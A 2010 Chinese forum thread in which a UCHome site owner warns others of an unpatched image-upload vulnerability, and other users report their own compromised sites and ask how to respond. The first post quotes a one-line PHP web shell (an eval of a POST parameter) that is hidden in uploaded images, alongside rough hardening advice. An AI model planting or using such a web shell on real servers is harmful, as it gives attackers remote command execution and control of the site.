UChome出漏洞，来提醒一下各位，好自为之。

wuxiansj · 发表于 2010-6-3 18:02:21

本帖最后由 wuxiansj 于 2010-6-4 10:10 编辑

UChome出漏洞。可能通过上传图片（加入一句话木马<?eval(\$_POST[cmd]);?>")?>），（传到了这里/home/attachment/）。

此漏洞是一位大牛发现（毕竟能发现康盛程序的漏洞，请允许我这么叫吧）。后来可能流出。不过知道的人并不多。我的一个uchome的站不幸遇难。
各位可以把uchome/data设置成不允许执行，试试。

特来提醒各位，好自为之。速速检查。

syq10086 · 发表于 2010-6-3 18:42:54

怎么设置，我应经打过4月6日的补丁了，你详细点说具体怎么做好吗，谢谢分享

wuxiansj · 发表于 2010-6-4 09:01:57

回复 2# syq10086 的帖子

我5月末才新安装的uchome。结果被人搞了。（肯定是通过uchome，我帖子中提到的方式搞的）。目前官方还没有针对此漏洞的补丁。

如果可以先暂停使用uchome先改个目录。如果不能暂停。分配好各个文件夹的权限。具体应对方法我也不太清楚。我也没有去深究具体通过哪个文件什么方式上传的。但从简单的表现上来看，是通过上传一张带有一句话木马的图片上传，然后通过某个内置文件执行（解析）了这句插入图片的一句话木马。有可能是data文件夹。这个漏洞我看了一下，还没有大规模公布。可能只是发现者的圈子人知道。所以特意来提醒一下大家。相信的话，就注意一下吧。

kf2158 · 发表于 2010-6-4 09:05:46

提示: 作者被禁止或删除内容自动屏蔽

lhafly · 发表于 2010-6-4 09:21:40

希望官方给一个正式的说法和解决方法！

bugx · 发表于 2010-6-4 13:27:01

我的也被这么搞了。。。

bugx · 发表于 2010-6-4 13:35:12

回复 3# wuxiansj 的帖子

我也被搞掉了

wuxiansj · 发表于 2010-6-4 13:42:26

回复 7# bugx 的帖子

呵呵，莫怕，能不用uchome先不用。把后门清理一下，重点留意一句话木马。能覆盖备份就覆盖备份。

bugx · 发表于 2010-6-4 13:51:03

回复 8# wuxiansj 的帖子

用都用了。我只找到了那个木马。但是人家不是一样又可以进来了

lllrrrlll · 发表于 2010-6-4 14:30:03

这个有点恐怖……

		自动登录	找回密码
密码			立即注册

[分享] UChome出漏洞，来提醒一下各位，好自为之。